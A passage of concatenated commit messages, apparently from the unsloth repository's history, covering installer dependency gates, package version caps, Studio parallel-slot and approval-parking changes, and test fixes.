and Linux exits 1 on any non-apt distro over cmake/gcc/git/libcurl headers.
Nothing under either gate needs a toolchain. uv is a prebuilt binary, CPython
comes from uv's managed python-build-standalone, llama.cpp and whisper.cpp are
prebuilt downloads, Node is a pinned nodejs.org archive, and triton is skipped on
macOS. unslothai/llama.cpp b10107-mix-1911198 publishes macos-arm64, macos-x64,
linux-x64 and linux-arm64 builds covering cpu, cuda12, cuda13, rocm and vulkan.
PR #6617 already dropped the Homebrew/cmake stop on macOS for this reason and
just left the CLT stop behind.
macOS: warn and continue when the CLT are absent. Linux: only a download
transport (curl or wget) is fatal; build tooling warns. Both keep a hard git
requirement for --local, which installs unsloth-zoo from a git+https URL.
Both gates move into functions so tests/sh can extract them. The old inline form
could not be reached by the tests/sh convention, which is why this shipped broken
and stayed broken. test_macos_clt_gate.sh (19 assertions) and
test_linux_deps_gate.sh (25) cover the clean machine, the CLT-stub shape where
/usr/bin/git exists but fails, the non-apt distro, and the --local paths.
Writing the Linux test caught a latent bug: the gate trimmed its list with
$(echo ... | sed ...), so on a minimal image without sed the substitution yields
empty and it reports 'all system dependencies found' on a machine with none of
them. Replaced with parameter expansion.
Also caps av<16 in the single-env constraints. av 16+ ships no cp313 macOS arm64
wheel, and it is a C extension over FFmpeg, so uv would silently fall back to a
source build needing both a compiler and FFmpeg headers.
Verified on GitHub-hosted macOS runners with /var/db/xcode_select_link,
/Library/Developer/CommandLineTools, /Applications/Xcode*.app and Homebrew moved
aside. macos-14, macos-15 and macos-26 fail on main and install cleanly with
this; the recorded tool-invocation trace for the whole install is a single
`xcode-select -p`, so nothing compiled and nothing installed a toolchain.
* Linux: auto-install git rather than dropping it, and skip triton kernels without it
Making git optional on Linux was too broad. studio/backend/requirements/
triton-kernels.txt line 2 is a git+https URL, so step 6/14 died with 'Cannot find
command git' and failed the whole setup on ubuntu2404-root, ubuntu2404-arm-root
and fedora41, all of which had been passing. The claim that nothing on the
consumer path needs git holds on macOS, where triton is skipped, but not here.
install.sh now auto-installs git through apt with the other optional tooling, so
Debian and Ubuntu are unchanged. The triton kernels step skips with a message
when git is absent instead of failing: they are a training speedup, not a boot
requirement, and a GGUF chat install has no use for them.
Six more assertions pin both halves.
* macOS Intel: skip the one package with no x86_64 wheel
The Intel clean-machine leg installed with the toolchain masked, then died in
studio setup:
subprocess.CalledProcessError: Command '['cmake', ...]' returned non-zero
ERROR: Failed building wheel for pytorch_tokenizers
pytorch_tokenizers publishes wheels for macOS arm64, linux x86_64, linux aarch64
and windows, but none for macOS x86_64 at any Python version, so uv falls back to
an sdist that shells out to cmake. Nothing passes --only-binary, so the
compiler-free property was an assumption rather than a contract, and Intel is
where it broke.
Marked so it installs everywhere except Intel macOS. Apple Silicon is unaffected.
* Stop the optional dep gate from aborting the install
_smart_apt_install exits rather than returns, and `|| true` does not catch an
exit, so a box missing cmake or git aborted at the gate added to let it
continue. Verified in sh, dash and bash. Run it in a subshell and re-raise only
code 2, the NEED_SUDO handshake install.rs answers with an elevation prompt.
install.sh treats a present-but-broken git as missing, but the Python side
tested only shutil.which, so it promised to skip the git+https triton
requirement and then fetched it anyway. Same check on both sides now.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Never elevate for optional build tools
Re-raising code 2 turned the optional set into a NEED_SUDO handshake, so a box
missing cmake or gcc got the desktop's mandatory permission dialog, whose Cancel
drops back to not-installed. That re-imposes through a prompt the build-tool
requirement this gate removes, and none of those tools are needed to run.
Suppress the handshake for optional callers; a required package still elevates.
Verified in sh, dash and bash.
Also advance the progress bar on the no-git triton skip, which otherwise ends at
14/15.
* Tighten the comments on the dependency gate
* Correct why the PyAV cap is needed
16.0.0 does ship cp313-cp313-macosx_14_0_arm64; the comment claimed no cp313
wheel exists. The actual reason is the deployment target: 15.1.0 is macosx_13_0
and 16+ is macosx_14_0, so the cap is what keeps macOS 13 off a source build.
* Tighten the installer gate comments
* Cap cryptography on x86_64 macOS so the consumer install needs no Rust
cryptography 49.0.0 (2026-06-12) dropped the macosx_10_9_universal2 wheel
and now ships macosx_11_0_arm64 only, so x86_64 macOS has no wheel and uv
falls back to the sdist. That build calls maturin, which pulls Rust and
then fails at 'linking with cc failed' on a clean Mac without the Xcode
Command Line Tools. It surfaced in the clean-machine leg mac macos-15-intel
/ mask / file, several minutes into the studio dependency step, which is
exactly the up-front toolchain requirement this branch removes.
48.0.1 is the newest release carrying a universal2 wheel, and its
cp39-abi3 / cp311-abi3 tags cover the 3.12 and 3.13 interpreters the
installer creates. The cap is marker-scoped to darwin + x86_64, so arm64
macOS and every other platform still resolve to the latest. Lift it when
cryptography ships an x86_64-capable macOS wheel again.
Resolution of studio/backend/requirements/studio.txt under this
constraints file gives 48.0.1 on x86_64-apple-darwin and 49.0.0 on
aarch64-apple-darwin and x86_64-unknown-linux-gnu, on both 3.12 and 3.13.
* Correct the av note now that cryptography also compiles on macOS
* Never escalate for optional apt packages outside Tauri mode
The optional bypass sat inside the TAURI_MODE branch, so a plain curl | sh
install on a non-root Debian or Ubuntu box still fell through to the
escalation branch and showed the default-yes permission prompt for cmake,
GCC and the libcurl headers. That is exactly the toolchain this change set
declared unnecessary on the consumer path, so the prompt asked for a
password to install packages nothing here uses, and a headless run failed
the same way instead of falling through to prebuilt llama.cpp.
Move the check above the mode split so optional callers return 2 in both
modes. Required packages such as curl still escalate unchanged.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: free the llama-server slot when a chat stream reaches [DONE]
* Release the slot before yielding, only on a completed decode
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the comments added by this PR
* Inline the done-sentinel check and use plain bools for the decode flags
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: show a Nudging tool calls badge while the tool-call re-prompt runs
* Guard the nudge status ordering assertion against index 0
* Tighten the nudge status comments
* Announce the nudge text instead of the generic spinner label
* Trim the nudge status comments
Collapse the multi-line notes to fewer lines and drop one that restated the assert below it. The blank-before-badge ordering reason and the keep-in-sync contract are preserved.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(studio): show the current artifact's source after switching artifacts
The canvas source view feeds one Streamdown a fence built from the selected
artifact's code, but never keys it. Streamdown does not revise a block it has
already committed, so the panel keeps rendering the previous artifact's source.
Key the source view on the artifact ID plus a hash of its code: tool artifact
IDs are derived from the tool call, not the code, so the ID alone does not
change when a tool artifact is updated in place.
* Name the real root cause and make the source-key test load-bearing
The remount is needed because Streamdown memoizes a fenced code block on its
hast node's line/column span, which ignores the text inside the fence, so two
canvases of equal line count compare equal and the old source stays on screen.
Verified in Chromium against streamdown 2.5.0: unkeyed, 70 lines -> 70 lines
renders the previous artifact, 70 -> 71 and 70 -> 90 render correctly.
Move the key expression into the source branch so it costs nothing while the
artifact is streaming and the view is unmounted, and export the helper from
types.ts so the test exercises the shipped code instead of a local copy of the
formula (it passed before even with the key removed from the component).
* Assert the source view's Streamdown key wiring, not just the helper
The suite exercised buildArtifactSourceKey but never the component, so deleting
key={buildArtifactSourceKey(artifact)} from the Streamdown left every test
green. There is no DOM renderer available to these tests, so parse
artifact-surface.tsx with the TypeScript compiler API (already a devDependency)
and assert the source view's Streamdown carries that key.
Mutation-checked: removing the key fails 1 test, swapping it for artifact.id
fails 1, and making the helper ignore code fails 2.
* Tighten the comments added by this PR
* amd: require bitsandbytes>=0.50.0 in the amd extra
bnb <= 0.49.2 NaNs at decode shape on every AMD GPU. The ROCm 4-bit GEMV
fix (bnb PR #1887) first ships in 0.50.0, on PyPI since 2026-07-24, so the
old >=0.49.1 floor could still resolve the broken range.
Mirrors the same change made on the pip release branch in #7278.
* amd: cite the 0.50.0 ROCm work accurately in the bnb floor comment
The comment credited bnb PR #1887 as "the ROCm 4-bit GEMV fix" for every
AMD GPU. #1887 decouples blocksize from warp size and fixes a hardcoded
warp size of 32 in kgemm_4bit_inference_naive, which is a CDNA problem by
construction. The RDNA-side work is #1979 (fused 4-bit SIMT GEMM) and
#2012 (RDNA3/4 workgroup resonance). All three first ship in 0.50.0, so
the >=0.50.0 floor is unchanged; only the justification was wrong.
* amd: raise the installer bitsandbytes fallback floors to 0.50.0
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* amd: stop reporting the bitsandbytes PyPI fallback as broken
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten AMD bnb floor comments
* Keep the amd extra citation and the AMD install guide reference
* amd: do not promise aarch64 a ROCm 4-bit backend it never gets
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* amd: fall back to the PyPI bitsandbytes floor on Windows ROCm too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* feat(studio): share the llama-server --parallel bounds as PARALLEL_MIN/MAX
The per-load parallel-slots field needs the same 1..64 range the CLI flag
validates, but models/inference.py cannot import run.py (run.py builds the
app that imports routes that import models). Promote the bounds into this
dependency-free module, which already owns the -np/--parallel semantics, and
record the deliberate mirrors that cannot import it (run.py, the unsloth CLI,
the web UI). The denylist entry stays: the first-class field is now the single
write path for the slot count, so a pass-through would still desync the
committed bookkeeping from llama-server.
* feat(studio): note the per-load override in the --parallel help text
--parallel is now the server-wide default that a per-load n_parallel (the
Studio Parallel Slots run setting) can override, not the definitive slot
count. Point at the new control so a user does not conclude a restart is the
only way to change slots, and record the shared PARALLEL_MIN/MAX mirror
alongside the existing CLI one.
* feat(studio): add n_parallel to LoadRequest and echo the slot counts
LoadRequest.n_parallel (optional, PARALLEL_MIN..PARALLEL_MAX) lets a load pick
its own llama-server --parallel count; omitted, the server-wide launch default
applies. ValidateModelRequest carries it too so the training-coexistence
estimate sizes the KV cache like the follow-up load rather than passing on a
smaller footprint.
LoadResponse and InferenceStatusResponse gain both requested_parallel_slots
(what the load was invoked with) and parallel_slots (what llama-server
actually runs after the fitter's slot reduction), so a client can tell an
honored request from a reduced one. Both are None where --parallel has no
meaning: non-GGUF loads and the diffusion runner.
* feat(studio): record the requested parallel-slot count on the backend
The auto GPU-memory fit may launch fewer slots than requested to keep the
model fully on GPU, so the committed effective count cannot answer "is the
live server what this request asked for?". Store the invoked count separately
(mirroring the _requested_n_ctx pattern) from the pre-reduction pending
kwargs, expose it as requested_parallel_slots, and have _already_in_target_state
compare requested-vs-requested: comparing against the effective count would
reload -- and re-reduce -- forever on an identical Apply.
The comparison sits in the non-diffusion branch, since the diffusion runner
ignores --parallel entirely. The requested value shares the effective count's
lifecycle, so every unload/kill path clears it and a stale count cannot
poison the next load's dedupe.
* feat(studio): honor a per-load parallel-slot count in /load and /validate
Resolve the slot count once per load -- the request field if set, else the
server-wide launch default -- and feed it to every consumer that must agree:
the training-coexistence guard, the llama-server load kwargs, and the reload
dedupe. Without the dedupe comparison a changed slot count would be swallowed
as already_loaded; it compares requested-vs-requested and skips the diffusion
runner, which ignores --parallel.
app.state.llama_parallel_slots is deliberately never written: it stays the
launch intent and the admission-queue fallback, so one load's override cannot
leak into later loads. /validate resolves the same way so its estimate cannot
undercount what the load then allocates.
Both /load returns and /status echo the counts through one helper, which
reports None for diffusion -- its load never commits a count, so echoing the
reset placeholder would fabricate an "invoked with 1 slot".
* feat(studio): accept nParallel in the chat-preset load config
ChatPresetLoadConfig is extra="forbid", so a preset carrying the new parallel
slots knob would 422 the whole settings sync without this field. Bounds come
from the shared PARALLEL_MIN/MAX rather than literals, so a future range
change cannot start rejecting presets the UI still allows.
* test(studio): cover the per-load parallel-slots knob
Pins the behaviors a regression would silently break: the requested-vs-effective
dedupe (comparing against the reduced count would reload forever), the diffusion
skip and its None echo, the requested count's reset lifecycle, and its commit
from the pre-reduction pending kwargs.
Also pins the three bounds mirrors that cannot import PARALLEL_MIN/MAX (run.py,
the unsloth CLI, the web UI) plus the preset model that can, so a range change
cannot leave one of them clamping or rejecting at the old limit.
* test(studio): refresh the --parallel denylist comments for the UI knob
The pinned rationale said the typer flag owns the slot count and pointed users
at a Studio restart. Parallel Slots / LoadRequest.n_parallel is now the other
managed writer, and the 1..64 guard is the shared PARALLEL_MIN/MAX -- a reader
following the old comments would conclude the UI control does not exist.
* feat(studio): note the per-load override in the CLI --parallel help
Both the plain-serve and `unsloth studio run` flags now describe a server-wide
default the Studio Parallel Slots run setting can override per load, matching
the backend help text.
* feat(studio): remember a per-model Parallel Slots override
nParallel joins the per-model config with the same null-means-follow-the-default
convention as the other knobs: null keeps the server-wide --parallel count, so
a blank control never pins a number and isDefaultConfig still deletes an
otherwise-untouched config instead of storing it.
The value is re-clamped to N_PARALLEL_MIN/MAX on every localStorage read and
write (the store is user-editable), and listing it in STORED_CONFIG_FIELDS
keeps it from being dropped as an unknown key. Legacy blobs predate the knob,
so their migration carries null. No schema-version bump: an additive optional
field, like the GPU fields before it.
* feat(studio): bridge nParallel between the per-model config and the store
The config->store, store->config and equality helpers all need the new field:
without the equality arm a slots-only edit reads as unchanged, so Apply is
dropped and the dirty state never lights up.
* feat(studio): track the parallel-slot override in the chat runtime store
nParallel holds the editable override and loadedNParallel the value the last
successful load sent, which the failed-switch rollback re-sends. Both are
per-model: they clear on unload and on a model switch, unlike the standing
preferences (GPU memory mode, speculative type) that survive one.
There is deliberately no backend-echo field for the control: the echo is the
resolved count, so adopting it would pin a blank "follow the server default"
input to an explicit number.
* feat(studio): type n_parallel and the slot-count echoes
The load request gains the optional per-load slot count, and both the load
response and the status payload gain requested_parallel_slots (invoked) and
parallel_slots (actually running after the fitter's reduction). Keys stay
snake_case: the payload is serialized as-is, with no case conversion.
* feat(studio): forward n_parallel to the validate preflight
validateModel builds its own body rather than forwarding the load payload, so
the slot count has to be listed explicitly. Slots scale the KV estimate, and
the preflight exists to refuse a load the training guard would then 409 -- an
unforwarded count would validate a smaller footprint than the load allocates.
* feat(studio): include nParallel in the active model's config
The sidebar assembles the active model's config from individually subscribed
store fields; an unsubscribed field would leave the form showing a stale value
after any external change.
* feat(studio): add the Parallel Slots control to the run settings
A numeric input in the GGUF advanced section, blank meaning "follow the server
default". It clamps on change like the Draft Tokens field rather than using
NumericValueInput, so there is no blur-draft to lose when the user types a
value and immediately clicks Load.
hasNonDefaultAdvanced counts it too, so a remembered override reopens the
advanced section instead of hiding the setting that is actually in effect.
* feat(studio): key the sidebar config form on nParallel too
The signature drives the remount that re-seeds the form; without the new field
an externally changed slot count would leave the sidebar showing the old one.
* feat(studio): send the Parallel Slots override on load
performLoad snapshots the slot count at click time (staged run-settings config
first, else the store) and sends it on both the validate preflight and the
load, so the two size the same footprint. A cross-model switch re-baselines it
like the other per-model knobs -- the previous model's count must not follow
onto the next one -- and the failed-switch rollback re-sends the previous
model's value so a rescue reload cannot silently drop to the server default.
The success path keeps the click-time value rather than the response echo: the
echo is the count the fitter resolved, so adopting it would turn a blank
"follow the server default" control into an explicit pin. Slots are GGUF-only,
so a transformers load sends and records null instead of a phantom override.
* feat(studio): carry the slot override through the compare-pane load
The compare pane builds its own load request, so it needs the field explicitly
or a pane with a remembered override would load at the server default. Its
validate preflight sends the same count, matching the comment above it that
promises validation is sized exactly as the load below.
GGUF-gated on both calls, and the store adopts the pane's own click-time value
rather than the resolved echo, mirroring the single-model path.
* feat(studio): honor the remembered slot override on startup auto-load
The auto-load path reads the per-model config and forwards every other
remembered knob, so a remembered Parallel Slots value was the one setting lost
on the "load last used model" path: llama-server came back at the server-wide
default with the control showing blank, and the first manual Apply afterwards
then forced a needless reload because the counts disagreed.
* feat(studio): seed the slot baseline from the status echo
Only the rollback baseline is seeded, never the editable control: the echo is
the resolved count, so adopting it would pin a blank "follow the server
default" input to a number. Without the seed, loadedNParallel stayed null
after a tab reload or a second tab adopting the running model, and a failed
switch then rolled the previous model back at the server default while every
other knob was restored.
* feat(studio): capture Parallel Slots in chat presets
The knob joins the preset load config end to end: captured from the store,
re-clamped when read back (persisted presets are untrusted input), applied on
switch, and summarized in the preset chip. Its default is null, so
coalesceDefaultLoadKnobs keeps a default-only preset empty rather than
persisting a no-op override.
* feat(studio): re-derive the preset state when Parallel Slots changes
Both preset memos snapshot the store through capturePresetLoadConfig, so
without the new dependency a slots-only edit left the unsaved-changes flag and
the load summary showing the previous value.
* test(studio): pin the Parallel Slots wiring end to end
Source-contract coverage for the hops a refactor can silently drop: the three
/load builders (interactive, compare pane, startup auto-load) and their
validate preflights, per-model persistence and clamping, the UI row, and the
status seed -- including the negative assertion that hydration seeds only the
rollback baseline, never the control, so the resolved echo cannot pin a blank
"server default" input.
* test(studio): pin nParallel in the preset load config
Covers capture, clamped read-back and apply on the frontend, plus the backend
field itself: ChatPresetLoadConfig is extra="forbid", so a missing or drifted
field 422s every settings sync that carries a preset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fall back to one slot when llama-server lacks --kv-unified for PR #7447
Without --kv-unified an explicit --parallel N makes llama-server give each slot -c/N, so on a build without the flag choosing N slots silently shrinks every context window for a feature that build cannot serve. Clamp to one slot and log why, placed after the requested count is captured so the echo still reports it and before the KV estimates so the fit matches what actually launches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the slot control on load paths that never send it, and size the training guard for diffusion
Four review findings on the per-load Parallel Slots knob.
The editable nParallel control means "follow the server default" when null, so
any success path that does not send a slot count has to clear it. Three paths
kept a value staged for a different model:
- chat-adapter.ts, cached non-GGUF auto-load: the interactive and compare
builders already clear both fields for a non-GGUF response, this third one
did not. The field never renders for a non-GGUF target, so the stale count
was invisible and unclearable from the UI yet still persisted, and it flips
isDefaultConfig so a user with no overrides silently gets a stored entry.
- chat-adapter.ts, fresh-model fallback: its request omits n_parallel but its
success state resynced every other knob and left the slots alone, so a staged
edit survived against a server running the default and the next Apply
reloaded at a count that load never sent.
- apply-inference-status-to-store.ts: on a model change underneath the tab
every sibling knob adopts the new model's status, but nParallel updated only
its baseline, so the previous model's explicit count followed onto the new
model and saving or reloading there pinned it. Clear the control and keep
seeding the baseline for the rollback.
The training-coexistence guard sized a diffusion GGUF with the requested slot
count. _estimate_kv_cache_bytes scales the SWA cache with slots
(swa_limit = swa * slots + ubatch), but load_model hands a diffusion target to
_start_diffusion_server before the slot plumbing, so that runner is always
single-slot. At the new default of 4 this inflated the estimate and could 409 a
load that fits. An unclassified GGUF keeps the requested count.
Backend base KV depends on -c alone, not on --parallel, which is why only the
SWA term is affected: llama.cpp PR 14363 and discussion 4130.
Tests: three training-guard cases in test_parallel_slots_per_load.py and one
source contract in test_model_picker_contracts.py, each mutation-checked.
174 passed across the backend slot/admission/training suites, 56 across the
frontend contract suites.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the slot control when re-adopting the running model, and never record slots for a diffusion load
Two follow-ups from the latest review round.
The first is a regression from c796393. That commit cleared the slot control
whenever hydratingExistingModel was set, to stop model A's count following onto
model B. But that flag is also set on the resident-model adopt path: when the
store checkpoint is an external provider id and the user re-picks the still
loaded local model, applyActiveModelStatusToStore is called with the external
id as previousCheckpoint, so the flag is unconditionally true. The clear then
wiped the config applyPerModelConfigToRuntime had restored two lines earlier,
and it was the only knob that did, because the siblings re-adopt the status
echo while this one cleared. Gate the clear on the tab's own baseline no longer
matching the running count: a genuine A to B swap still clears, re-adopting the
same model keeps its value.
The second revises an earlier call of mine. I rejected the diffusion phantom as
cosmetic because the backend ignores the value on every send. The sharpened
report is right and my rejection was wrong: capturePresetLoadConfig records
nParallel with no model gate, a Preset carries no model id, and applying one
writes nParallel for whatever model is current. So a count recorded against a
diffusion model, which the backend never applied, rides a saved preset onto a
text GGUF and becomes a real override the user never chose. Record slots only
when the load actually committed them, on all three load builders.
Tests: two source contracts in test_model_picker_contracts.py, both mutation
checked. Frontend typecheck clean, 58 passed across the contract and preset
suites.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the slot baseline when status reports a model without slots
Hydrating from a GGUF to a slotless model left loadedNParallel at the previous
model's count: the seed only runs when the echo is non-null, and the control
clear added earlier touches nParallel alone. The stale baseline is what a
failed-switch rollback re-sends, and preset capture reads it, so it could claim
slots for a model that never used them.
Clear it when status describes a model that cannot have slots. /status omits
the echo entirely for non-GGUF and sends an explicit null for the diffusion
runner, so keying on is_gguf === false or an explicit null covers both while an
absent field on a GGUF, which is how an older backend reports one, still leaves
the baseline alone.
Test mutation checked; frontend typecheck clean against a fresh npm ci.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Distinguish a same-model re-adopt from a model swap, and size the training guard at the slots that launch for PR #7447
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the blank slot control across a failed-switch rollback for PR #7447
* Restore a remembered slot override when hydrating a fresh store for PR #7447
* Tighten comments for PR #7447
* Restore a remembered slot override on a model switch too for PR #7447
* Tighten comments and docstrings for PR #7447
* Take the rollback slot intent from the picker's pre-switch snapshot for PR #7447
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Pin the newer-mapper FP8 probe with tests that can fail
The two identity assertions added in #7478 compare the returned FP8 tables
against the installed ones, but the fixture serves the same mapper.py as both
the installed and the fetched source and exec always allocates fresh dicts, so
they pin allocation rather than provenance and hold for any new dict.
Replace them with two tests that drive get_model_name end to end: one splices an
FP8 entry into the fetched source only and asserts the upgrade error still fires,
the other serves a mapper.py with no FP8 tables and asserts the 4bit half of the
probe survives, which is the regression #7497 fixed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the resolver stub for PR #7516
- Restore the fp8_block/fp8_row identity assert alongside the new provenance
test. It is weak, not vacuous: it still catches a probe that hands back the
installed table objects, and it costs nothing to keep.
- Bind Version and transformers_version in the stub namespace. Both are
unreached under the current gates, so a change to either would fail with a
bare NameError instead of the assertion.
Merged main, which clears the unrelated test_runtime_text_encoding failure the
branch inherited from its base.
* Cover the FP8 row-scaling path instead of duplicating the block one
The two tests this PR originally added were already covered by
tests/test_new_mapper_fetched_fp8.py from #7497. An 8-mutant matrix over
loader_utils.py found nothing they caught that the existing file did not, so
they are dropped and test_new_mapper_no_global_leak.py goes back to main.
Two real gaps were open, both on the row branch that load_in_fp8 = True plus
UNSLOTH_HAS_FBGEMM selects ahead of block:
- the FBGEMM row branch in __get_model_name could be deleted outright with
every test still green
- _resolve_with_mappers could ignore its fp8_row argument and silently fall
back to the installed row table
Adds two tests to the existing file, reusing its _load_resolver rather than a
second harness. The row-only fixture splices into the fetched row table alone,
since an entry the block table also knows lets the block branch answer and
masks the regression.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix: add XPU device support and update hardcoded CUDA selections
* fix: add XPU device support for pytest CUDA skipped tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix device handling for PR #7401
- perplexity_eval.py: use DEVICE_TYPE_TORCH, not DEVICE_TYPE. The latter can
be "hip" or "mlx", which .to() rejects, so this regressed ROCm.
- test_batched_leftpad_generation_gpu.py: XPU diverges here today, so mark it
non-strict xfail on XPU instead of reverting to a CUDA-only guard. Keeps the
real XPU gap visible and turns green once it is fixed.
- Guard torch.xpu.is_available() with hasattr, matching device_type.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Re-enable the flash varlen attention test in CI for PR #7401
attention_dispatch.py now predefines flash_attn_func / flash_attn_varlen_func
as None, so test_run_attention_flash_varlen_receives_window_and_softcap no
longer needs flash_attn importable to be monkeypatched. Verified on a runner
shaped like the CPU-only one: the test fails against main's attention_dispatch
and passes at this head, so the deselect is now dead weight.
* Tighten comments for PR #7401
Drop the hasattr rationale: torch.xpu has existed since torch 2.3 and the
dependency floor is 2.4, so no supported build predates the namespace. The
guard stays as cheap defence, but the comment claimed something untrue.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
The manifest-removal guard added in #7492 exits with a bare 'exit 1', so in
Tauri mode the installer never emits the [TAURI:ERROR] line and the desktop
UI falls back to a generic failure instead of naming the cause. Every other
failure path in studio/setup.ps1 goes through Exit-SetupFailure, and
tests/sh/test_tauri_retry_failure_context.sh asserts that invariant, so
'Repo tests (CPU)' has been red on main since that merge.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Bound how many approvals may park, against the executor
#7455 landed parking, which is the right shape and supersedes what this branch
was carrying. It is unbounded, though, and the thing it is unbounded against is
not the GPU.
A run stopped on an approval prompt is blocked inside the to_thread(next, gen)
call that drives it, so it holds one of asyncio's default min(32, cpu + 4)
executor threads until the user answers. The slot cap used to bound that.
Parking hands the slot back, which admits another run that can park too, so the
ceiling became the wait line: 64 deep on a 1-slot backend. Long before that, the
executor is full and nothing else in the backend runs, including generation
steps for chats that already hold slots and the stream teardown that would clean
up after a disconnect.
The pool already permits `capacity` pending prompts, and each park adds one
more, so the budget is what the executor has left after the cap and a reserve of
4. On this machine (32 workers) --parallel 4 gets 8 parks and 20 free threads,
--parallel 24 gets 4 and 4, and --parallel 28 or higher gets none: there the
prompt keeps its slot and behaves exactly as it did before parking existed.
Counted process-wide rather than per queue. There is one executor, but a
per-queue budget is the same allowance again for every backend, and base_url
carries a fresh port on every model load, so a reload would mint a queue that
knows nothing about the approvals still parked on the old one. A reset clears it
too, or a leaked claim shrinks the budget for the life of the process.
park() reports whether it took the budget, and a refusal costs nothing to undo
because the slot never left its holder. The stream reads that answer rather than
recording a refused park as parked, which would make it skip the park for every
later approval in the same run even once the budget freed up.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size the park budget from the executor's own CPU count
Two review findings, both real.
The budget read os.cpu_count(). 3.13 sizes ThreadPoolExecutor from
os.process_cpu_count(), which honours CPU affinity and cgroup quotas, and
asyncio's default executor is a plain ThreadPoolExecutor(), so a container
pinned to one core on a 64-core host got a 5-thread executor and a budget
computed from 64. The bound was then looser than no bound at all in exactly the
environment that can least afford it. It asks the same source the executor does,
and the test compares against a real ThreadPoolExecutor rather than restating
the formula, so it stays right on 3.12 as well.
The reserve was a flat 4, which on that same 5-thread executor left nothing to
budget and turned parking off entirely. Small hosts are where a chat most needs
to keep moving while another sits on a prompt. It scales now, and the ceiling
has a floor of two: a quarter of five is one, and one park cannot cover two
chats on prompts at once, which is what #7455's own two-approvals test needs.
Without that floor, that test fails on a one or two CPU runner. `spare` still
takes the budget to zero when the pool already fills the executor, so nothing
about a 32-worker machine changes: --parallel 4 still gets 8 parks, 24 gets 4,
28 gets none.
The two behavioural budget tests pin the worker count rather than reading it off
the runner, and the property test sweeps executor sizes from one CPU to 64
instead of asserting against whatever the host happens to have. The whole suite
passes with the CPU count faked to 1, 2 and 4, which is how both of these were
reproduced.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Size the park budget from every live backend, and free it on the answer
Two review findings, both real.
The budget was global but sized from one queue's capacity. A reload mints a
queue on a new port while the old one drains, so both are live, and prompts on
both park executor threads. Eight parks on an old 1-slot queue plus a new
24-slot backend is 32 threads on a 32-thread executor, with the new backend's
prompts refused and holding their slots, which is the state the reserve exists
to prevent. It sums the capacity of every backend still serving instead. Idle
queues are skipped: those are the ones the registry is about to evict, and they
are holding nothing.
The budget also outlived the wait it was paying for. unpark_async only dropped
it after reacquiring a slot, but the generator yields its post-approval event
first, so the executor thread is already back in the pool while the resume
queues. An approved chat waiting on a slot would refuse a different chat's park,
and that chat then keeps the slot the resumer is waiting for, so an unanswered
prompt strands chats that were already approved. The budget is released when the
prompt wait ends now, and the queue's parked count still runs until the slot is
back, which is what guards idle eviction and the resume ordering.
Both are separate counters on the lease as a result, and every exit from a park
drops the budget: unpark, unpark_async and release. That last one was the mutant
that came back missed, since a client disconnecting on a prompt releases
straight out of parked and would otherwise lose a budget slot for good.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the comments on the park budget
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Keep `import unsloth` working when bitsandbytes is absent
device_type.py already prints "bitsandbytes is not installed - 4bit QLoRA
unallowed, but 16bit and full finetuning works" and clears
ALLOW_BITSANDBYTES / ALLOW_PREQUANTIZED_MODELS, but the import chain then
hard-required the module anyway, so `import unsloth` raised instead.
#7354 made this reachable: the gfx906 install path uninstalls the generic
bitsandbytes wheel (no gfx906 kernels in it), which leaves an MI50 / Radeon VII
host unable to import unsloth at all, not on the 16bit path the message
promises.
- kernels/utils.py: guard the bnb import; bind get_ptr and the five 4bit ctypes
handles to a stub that raises a clear message if a 4bit path is entered.
HAS_CUDA_STREAM stays False, which is the correct route.
- save.py, models/granite.py: guard Bnb_Linear4bit and peft's Linear4bit
(peft exports it only when bnb imported cleanly) with placeholder classes.
